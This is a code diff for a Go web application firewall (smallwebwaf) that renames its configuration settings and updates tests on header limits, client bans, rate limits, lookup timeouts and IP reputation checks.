|
||||||
})
|
})
|
||||||
server.Store(started)
|
server.Store(started)
|
||||||
@@ -379,8 +379,8 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
|
|||||||
t,
|
t,
|
||||||
readAndAnswer,
|
readAndAnswer,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
anomalyWatchedNet + requestsPerMinute: aLot,
|
anomalyWatch + requestsPerMinute: aLot,
|
||||||
watchedNets: office + ",wide=203.0.0.0/16" +
|
watchNets: office + ",wide=203.0.0.0/16" +
|
||||||
",other=198.51.100.0/25",
|
",other=198.51.100.0/25",
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -29,13 +29,13 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
// answerTimeLimit is the default of rproxy's
|
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
|
||||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, the time waf has to answer.
|
// waf has to answer.
|
||||||
answerTimeLimit = 2 * time.Second
|
answerTimeLimit = 2 * time.Second
|
||||||
// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
|
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
|
||||||
defaultLookupWait = 800 * time.Millisecond
|
defaultLookupWait = 800 * time.Millisecond
|
||||||
// defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
|
// defaultReputationWait is the default of SWW_REPUTATION_TIMEOUT.
|
||||||
defaultDNSBLAbuseIPDBWait = 2 * time.Second
|
defaultReputationWait = 2 * time.Second
|
||||||
// The header limits SPEC.md gives.
|
// The header limits SPEC.md gives.
|
||||||
cookieLimit = 50
|
cookieLimit = 50
|
||||||
headerFieldLimit = 100
|
headerFieldLimit = 100
|
||||||
@@ -80,7 +80,7 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
|
|||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
|
s := startWAF(t, "", map[string]string{wafMode: block})
|
||||||
req := s.question(siteA, client, "/")
|
req := s.question(siteA, client, "/")
|
||||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||||
|
|
||||||
@@ -160,7 +160,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
|
s := startWAF(t, "", map[string]string{wafMode: block})
|
||||||
req := s.question(siteA, client, "/")
|
req := s.question(siteA, client, "/")
|
||||||
tc.make(req)
|
tc.make(req)
|
||||||
|
|
||||||
@@ -195,9 +195,9 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, env := range []map[string]string{
|
for _, env := range []map[string]string{
|
||||||
{coreRuleSetMode: off},
|
{wafMode: off},
|
||||||
{coreRuleSetMode: "detect"},
|
{wafMode: "detect"},
|
||||||
{coreRuleSetMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
|
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
|
||||||
} {
|
} {
|
||||||
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -217,7 +217,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
|||||||
s := startWAF(
|
s := startWAF(
|
||||||
t,
|
t,
|
||||||
"",
|
"",
|
||||||
map[string]string{coreRuleSetMode: block, allowNets: client},
|
map[string]string{wafMode: block, allowNets: client},
|
||||||
)
|
)
|
||||||
req := s.question(siteA, client, "/")
|
req := s.question(siteA, client, "/")
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
@@ -228,11 +228,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
|||||||
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s := startWAF(
|
s := startWAF(t, "", map[string]string{mode: observe, wafMode: block})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{mode: observe, coreRuleSetMode: block},
|
|
||||||
)
|
|
||||||
req := s.question(siteA, client, "/")
|
req := s.question(siteA, client, "/")
|
||||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||||
|
|
||||||
@@ -287,7 +283,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
|||||||
// prepare gets the server ready, at now, before the question.
|
// prepare gets the server ready, at now, before the question.
|
||||||
prepare func(t *testing.T, server *waf.Server, now time.Time)
|
prepare func(t *testing.T, server *waf.Server, now time.Time)
|
||||||
}{
|
}{
|
||||||
{"SWW_WAF_DENY_NETS", map[string]string{denyNets: client}, "/", leaveAsItIs},
|
{"SWW_DENY_NETS", map[string]string{denyNets: client}, "/", leaveAsItIs},
|
||||||
{"a ban", nil, "/", banClient},
|
{"a ban", nil, "/", banClient},
|
||||||
{
|
{
|
||||||
"the country list", map[string]string{
|
"the country list", map[string]string{
|
||||||
@@ -302,7 +298,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"a DNS blocklist", map[string]string{
|
"a DNS blocklist", map[string]string{
|
||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny,
|
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
|
||||||
},
|
},
|
||||||
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
||||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
||||||
@@ -310,14 +306,14 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"AbuseIPDB",
|
"AbuseIPDB",
|
||||||
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny},
|
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
|
||||||
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
||||||
// Over SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
|
// Over SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
|
||||||
loadScores(server, map[string]int64{client: 80})
|
loadScores(server, map[string]int64{client: 80})
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"SWW_WAF_TAG_DENY", map[string]string{tagLists: "vpn=" + vpnList, tagDeny: "vpn"},
|
"SWW_TAG_DENY", map[string]string{tagLists: "vpn=" + vpnList, tagDeny: "vpn"},
|
||||||
"/", func(t *testing.T, server *waf.Server, _ time.Time) {
|
"/", func(t *testing.T, server *waf.Server, _ time.Time) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
loadLists(t, server, map[string][]string{vpnList: {client}})
|
loadLists(t, server, map[string][]string{vpnList: {client}})
|
||||||
@@ -329,9 +325,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
|||||||
leaveAsItIs,
|
leaveAsItIs,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"a block rule",
|
"a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked",
|
||||||
map[string]string{ruleFilesDir: writeRules(t, testRules)},
|
|
||||||
"/blocked",
|
|
||||||
leaveAsItIs,
|
leaveAsItIs,
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
@@ -372,9 +366,9 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
|
|||||||
t,
|
t,
|
||||||
map[string]standInRoute{client: {prefixDE, 64496}},
|
map[string]standInRoute{client: {prefixDE, 64496}},
|
||||||
),
|
),
|
||||||
dnsblZones: dnsblZone, dnsblAbuseIPDBAction: actionLog,
|
dnsblZones: dnsblZone, reputationAction: actionLog,
|
||||||
ruleFilesDir: writeRules(t, "noted path log ^/\n"),
|
rulesDir: writeRules(t, "noted path log ^/\n"),
|
||||||
coreRuleSetMode: block,
|
wafMode: block,
|
||||||
})
|
})
|
||||||
loadLists(t, s.server, map[string][]string{vpnList: {client}})
|
loadLists(t, s.server, map[string][]string{vpnList: {client}})
|
||||||
loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
|
loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
|
||||||
@@ -432,9 +426,7 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
|||||||
// not wait.
|
// not wait.
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s := startWAF(t, geojsURL, map[string]string{
|
s := startWAF(t, geojsURL, map[string]string{
|
||||||
unknownCountryLimitPercent: "0",
|
unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1",
|
||||||
asnAndCountryLookupTimeout: "3600000",
|
|
||||||
rateLimitPerMinute: "1",
|
|
||||||
})
|
})
|
||||||
countClient(t, s.server, s.clock.Now())
|
countClient(t, s.server, s.clock.Now())
|
||||||
|
|
||||||
@@ -467,7 +459,7 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
|
|||||||
// not wait.
|
// not wait.
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s := startWAF(t, geojsURL, map[string]string{
|
s := startWAF(t, geojsURL, map[string]string{
|
||||||
unknownCountryLimitPercent: "0", rateLimitPerMinute: "1",
|
unknownLimitPercent: "0", rateLimitPerMinute: "1",
|
||||||
})
|
})
|
||||||
s.server.GeoJS.Load([]lookup.Answer{{
|
s.server.GeoJS.Load([]lookup.Answer{{
|
||||||
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
||||||
@@ -502,7 +494,7 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
|
|||||||
|
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
s := startWAF(t, geojsURL, map[string]string{
|
s := startWAF(t, geojsURL, map[string]string{
|
||||||
mode: observe, addLookupHeaders: on, asnAndCountryLookupTimeout: "3600000",
|
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
|
||||||
})
|
})
|
||||||
req := s.question(siteA, fromDE, "/")
|
req := s.question(siteA, fromDE, "/")
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
@@ -617,7 +609,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
|||||||
action string
|
action string
|
||||||
}{
|
}{
|
||||||
{
|
{
|
||||||
name: "SWW_WAF_DENY_NETS", env: map[string]string{denyNets: client},
|
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
|
||||||
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
|
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -631,9 +623,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
name: "the rate limits, with a biased threshold",
|
name: "the rate limits, with a biased threshold",
|
||||||
env: map[string]string{
|
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
|
||||||
rateLimitPerMinute: "1", unknownCountryLimitPercent: "50",
|
|
||||||
},
|
|
||||||
prepare: countClient, status: forbidden,
|
prepare: countClient, status: forbidden,
|
||||||
action: requestlog.ActionClientIsRateLimited,
|
action: requestlog.ActionClientIsRateLimited,
|
||||||
},
|
},
|
||||||
@@ -656,9 +646,8 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// In a synctest bubble, as
|
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
// says, so that a request that does not wait takes no time at all.
|
||||||
// so that a request that does not wait takes no time at all.
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
server, out := newWAFInBubble(t, tc.env)
|
server, out := newWAFInBubble(t, tc.env)
|
||||||
tc.prepare(t, server, time.Now())
|
tc.prepare(t, server, time.Now())
|
||||||
@@ -770,7 +759,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
|||||||
|
|
||||||
return waf.New(params)
|
return waf.New(params)
|
||||||
}, silentGeoJSURL, time.Now, map[string]string{
|
}, silentGeoJSURL, time.Now, map[string]string{
|
||||||
tagDeny: "country=KP", coreRuleSetMode: block,
|
tagDeny: "country=KP", wafMode: block,
|
||||||
dnsblZones: dnsblZone, dnsblResolver: resolver,
|
dnsblZones: dnsblZone, dnsblResolver: resolver,
|
||||||
abuseIPDBKey: accountKey,
|
abuseIPDBKey: accountKey,
|
||||||
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
||||||
@@ -781,8 +770,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
|||||||
// network inside it would keep its clock from moving on.
|
// network inside it would keep its clock from moving on.
|
||||||
go server.Lists.Run(t.Context())
|
go server.Lists.Run(t.Context())
|
||||||
|
|
||||||
// In the bubble, as
|
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
|
||||||
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
|
|
||||||
// answer takes exactly as long as waf waits, however busy the host is.
|
// answer takes exactly as long as waf waits, however busy the host is.
|
||||||
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
||||||
// the DNS blocklist waits on the network, which stops the bubble's clock,
|
// the DNS blocklist waits on the network, which stops the bubble's clock,
|
||||||
@@ -844,7 +832,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
|||||||
// The query is answered, and the check with AbuseIPDB abandoned,
|
// The query is answered, and the check with AbuseIPDB abandoned,
|
||||||
// before the bubble ends.
|
// before the bubble ends.
|
||||||
releaseResolver()
|
releaseResolver()
|
||||||
time.Sleep(defaultDNSBLAbuseIPDBWait)
|
time.Sleep(defaultReputationWait)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic active_ban, and the code that makes bans, which several
|
// The heuristic active_ban, and the code that makes bans, which several
|
||||||
// heuristics share. active_ban reads SWW_WAF_MODE; the bans are the ban ledger's.
|
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -15,7 +15,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// banResponse is a refusal answered with SWW_WAF_BAN_RESPONSE, and logged
|
// banResponse is a refusal answered with SWW_BAN_RESPONSE, and logged
|
||||||
// with action.
|
// with action.
|
||||||
func (rq *request) banResponse(action string) *refusal {
|
func (rq *request) banResponse(action string) *refusal {
|
||||||
return &refusal{status: rq.h.config.BanResponse, action: action}
|
return &refusal{status: rq.h.config.BanResponse, action: action}
|
||||||
@@ -81,11 +81,11 @@ func limitFigures(hit ratelimit.Hit) map[string]any {
|
|||||||
|
|
||||||
// countedBytes returns the request's bytes, once it has ended, as the
|
// countedBytes returns the request's bytes, once it has ended, as the
|
||||||
// byte limits and the anomaly thresholds count them: the response's body
|
// byte limits and the anomaly thresholds count them: the response's body
|
||||||
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNTED says.
|
// bytes, the request's, or both, as SWW_BYTES_COUNT says.
|
||||||
func (rq *request) countedBytes() int64 {
|
func (rq *request) countedBytes() int64 {
|
||||||
response, request := rq.out.bytes, rq.requestBytes
|
response, request := rq.out.bytes, rq.requestBytes
|
||||||
|
|
||||||
switch rq.h.config.BytesCounted {
|
switch rq.h.config.BytesCount {
|
||||||
case "response":
|
case "response":
|
||||||
return response
|
return response
|
||||||
case "request":
|
case "request":
|
||||||
@@ -98,10 +98,10 @@ func (rq *request) countedBytes() int64 {
|
|||||||
// banForLimit bans the client's netblock at now for a broken limit, the
|
// banForLimit bans the client's netblock at now for a broken limit, the
|
||||||
// one hit names, notes the offence for the log line and counts the hit in
|
// one hit names, notes the offence for the log line and counts the hit in
|
||||||
// the metrics. status is what the client was sent, or is sent:
|
// the metrics. status is what the client was sent, or is sent:
|
||||||
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for
|
// SWW_BAN_RESPONSE for a request over a rate limit, what the report says for
|
||||||
// one whose bytes broke a byte limit, the refusal for one that broke the
|
// one whose bytes broke a byte limit, the refusal for one that broke the
|
||||||
// refusal limit. The ban's notes give the client's limit percentage for a
|
// error burst. The ban's notes give the client's limit percentage for a
|
||||||
// rate limit or a byte limit; the refusal limit is not lowered. The ban sets
|
// rate limit or a byte limit; the error burst is not lowered. The ban sets
|
||||||
// the client's counters back to zero. In observe mode it makes no ban and
|
// the client's counters back to zero. In observe mode it makes no ban and
|
||||||
// sets nothing back, and raises the alert for the ban it would have made,
|
// sets nothing back, and raises the alert for the ban it would have made,
|
||||||
// if that alert would be sent.
|
// if that alert would be sent.
|
||||||
@@ -260,7 +260,7 @@ func (rq *request) banForCrowdSec(
|
|||||||
// wouldAlertBan reports whether the alert for a ban on netblock for cause
|
// wouldAlertBan reports whether the alert for a ban on netblock for cause
|
||||||
// made at now would be sent. In observe mode the ban the request would
|
// made at now would be sent. In observe mode the ban the request would
|
||||||
// have made is worked out only then, at most once per
|
// have made is worked out only then, at most once per
|
||||||
// SWW_WAF_ALERT_COOLDOWN and never with no webhook set: its notes count the
|
// SWW_ALERT_COOLDOWN and never with no webhook set: its notes count the
|
||||||
// netblock's requests, which can mean going through every client.
|
// netblock's requests, which can mean going through every client.
|
||||||
func (rq *request) wouldAlertBan(
|
func (rq *request) wouldAlertBan(
|
||||||
netblock netip.Prefix, now time.Time, cause string,
|
netblock netip.Prefix, now time.Time, cause string,
|
||||||
@@ -326,7 +326,7 @@ func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// netblock is the netblock a ban on client covers: its IPv4 address,
|
// netblock is the netblock a ban on client covers: its IPv4 address,
|
||||||
// widened to SWW_WAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
|
// widened to SWW_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
|
||||||
// counts it in.
|
// counts it in.
|
||||||
func (h *handler) netblock(client netip.Addr) netip.Prefix {
|
func (h *handler) netblock(client netip.Addr) netip.Prefix {
|
||||||
addr := client.Unmap()
|
addr := client.Unmap()
|
||||||
|
|||||||
+15
-15
@@ -26,7 +26,7 @@ const (
|
|||||||
userAgent = "ban-test/1.0"
|
userAgent = "ban-test/1.0"
|
||||||
// permanent is the log line's ban_expires for a permanent ban.
|
// permanent is the log line's ban_expires for a permanent ban.
|
||||||
permanent = "permanent"
|
permanent = "permanent"
|
||||||
// banResponseClose is the SWW_WAF_BAN_RESPONSE that closes the connection.
|
// banResponseClose is the SWW_BAN_RESPONSE that closes the connection.
|
||||||
banResponseClose = "close"
|
banResponseClose = "close"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -93,7 +93,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
|||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
limitBanDuration: "10m",
|
limitBanDuration: "10m",
|
||||||
limitBanRepeatWindow: "1h",
|
limitBanRepeatWindow: "1h",
|
||||||
limitBanPermanentAbove: "1h",
|
maxBanDuration: "1h",
|
||||||
})
|
})
|
||||||
|
|
||||||
// breakLimit has client go over the limit of one a minute, and
|
// breakLimit has client go over the limit of one a minute, and
|
||||||
@@ -118,19 +118,19 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// A first ban lasts SWW_WAF_LIMIT_BAN_DURATION; one within
|
// A first ban lasts SWW_LIMIT_BAN_DURATION; one within
|
||||||
// SWW_WAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
|
// SWW_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
|
||||||
wantExpires(breakLimit(), 10*time.Minute)
|
wantExpires(breakLimit(), 10*time.Minute)
|
||||||
clk.advance(10*time.Minute + time.Hour)
|
clk.advance(10*time.Minute + time.Hour)
|
||||||
wantExpires(breakLimit(), 30*time.Minute)
|
wantExpires(breakLimit(), 30*time.Minute)
|
||||||
|
|
||||||
// Later than that, SWW_WAF_LIMIT_BAN_DURATION again.
|
// Later than that, SWW_LIMIT_BAN_DURATION again.
|
||||||
clk.advance(30*time.Minute + time.Hour + time.Second)
|
clk.advance(30*time.Minute + time.Hour + time.Second)
|
||||||
wantExpires(breakLimit(), 10*time.Minute)
|
wantExpires(breakLimit(), 10*time.Minute)
|
||||||
clk.advance(10 * time.Minute)
|
clk.advance(10 * time.Minute)
|
||||||
wantExpires(breakLimit(), 30*time.Minute)
|
wantExpires(breakLimit(), 30*time.Minute)
|
||||||
|
|
||||||
// 90 minutes would be longer than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE: the ban is
|
// 90 minutes would be longer than SWW_MAX_BAN_DURATION: the ban is
|
||||||
// permanent.
|
// permanent.
|
||||||
clk.advance(30 * time.Minute)
|
clk.advance(30 * time.Minute)
|
||||||
|
|
||||||
@@ -188,8 +188,8 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
|||||||
|
|
||||||
// In the IPv4 cases, client breaks the limit; these two are next to it.
|
// In the IPv4 cases, client breaks the limit; these two are next to it.
|
||||||
const (
|
const (
|
||||||
allowed = "203.0.113.60" // in SWW_WAF_ALLOW_NETS
|
allowed = "203.0.113.60" // in SWW_ALLOW_NETS
|
||||||
exempt = "203.0.113.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
exempt = "203.0.113.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -204,7 +204,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
|||||||
nil, []string{otherClient, exempt},
|
nil, []string{otherClient, exempt},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"the IPv4 netblock SWW_WAF_BAN_SCOPE_V4_PREFIX sets",
|
"the IPv4 netblock SWW_BAN_SCOPE_V4_PREFIX sets",
|
||||||
map[string]string{banScopeV4Prefix: "24"}, client,
|
map[string]string{banScopeV4Prefix: "24"}, client,
|
||||||
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
|
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
|
||||||
},
|
},
|
||||||
@@ -213,7 +213,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
|||||||
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
|
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"the IPv6 netblock SWW_WAF_IPV6_GROUP_PREFIX sets",
|
"the IPv6 netblock SWW_IPV6_GROUP_PREFIX sets",
|
||||||
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
|
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
|
||||||
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
|
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
|
||||||
},
|
},
|
||||||
@@ -256,7 +256,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
||||||
asnAndCountryLookupTimeout: "3600000",
|
lookupTimeout: "1h",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
banScopeV4Prefix: "24",
|
banScopeV4Prefix: "24",
|
||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
@@ -303,10 +303,10 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
|
|||||||
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
setting string // "" leaves SWW_WAF_BAN_RESPONSE at its default
|
setting string // "" leaves SWW_BAN_RESPONSE at its default
|
||||||
status int // 0 is the connection closed without an answer
|
status int // 0 is the connection closed without an answer
|
||||||
}{
|
}{
|
||||||
{"", http.StatusForbidden},
|
{"", http.StatusForbidden},
|
||||||
@@ -319,7 +319,7 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
asnAndCountryLookupTimeout: "3600000",
|
lookupTimeout: "1h",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
denyNets: denied,
|
denyNets: denied,
|
||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
@@ -345,7 +345,7 @@ func TestBanNotes(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||||
asnAndCountryLookupTimeout: "3600000",
|
lookupTimeout: "1h",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
tagDeny: denyKP,
|
tagDeny: denyKP,
|
||||||
})
|
})
|
||||||
|
|||||||
+33
-38
@@ -17,15 +17,14 @@ type percentage struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// biasedThresholdsSet reports whether a biased threshold can lower a
|
// biasedThresholdsSet reports whether a biased threshold can lower a
|
||||||
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
|
// client's limits by its lookup: SWW_ASN_BYTES_PERCENT or
|
||||||
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
|
// SWW_COUNTRY_BYTES_PERCENT is not empty, SWW_UNKNOWN_LIMIT_PERCENT is
|
||||||
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
|
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed
|
// then needed before its request goes on.
|
||||||
// before its request goes on.
|
func biasedThresholdsSet(cfg *config.Config) bool {
|
||||||
func biasedThresholdsSet(cfg *config.WAF) bool {
|
return len(cfg.ASNBytesPercent) > 0 ||
|
||||||
return len(cfg.ASNBytesLimitPercent) > 0 ||
|
len(cfg.CountryBytesPercent) > 0 ||
|
||||||
len(cfg.CountryBytesLimitPercent) > 0 ||
|
cfg.UnknownLimitPercent < whole ||
|
||||||
cfg.UnknownCountryLimitPercent < whole ||
|
|
||||||
cfg.ASNLimitPercentURL != ""
|
cfg.ASNLimitPercentURL != ""
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -34,17 +33,17 @@ func biasedThresholdsSet(cfg *config.WAF) bool {
|
|||||||
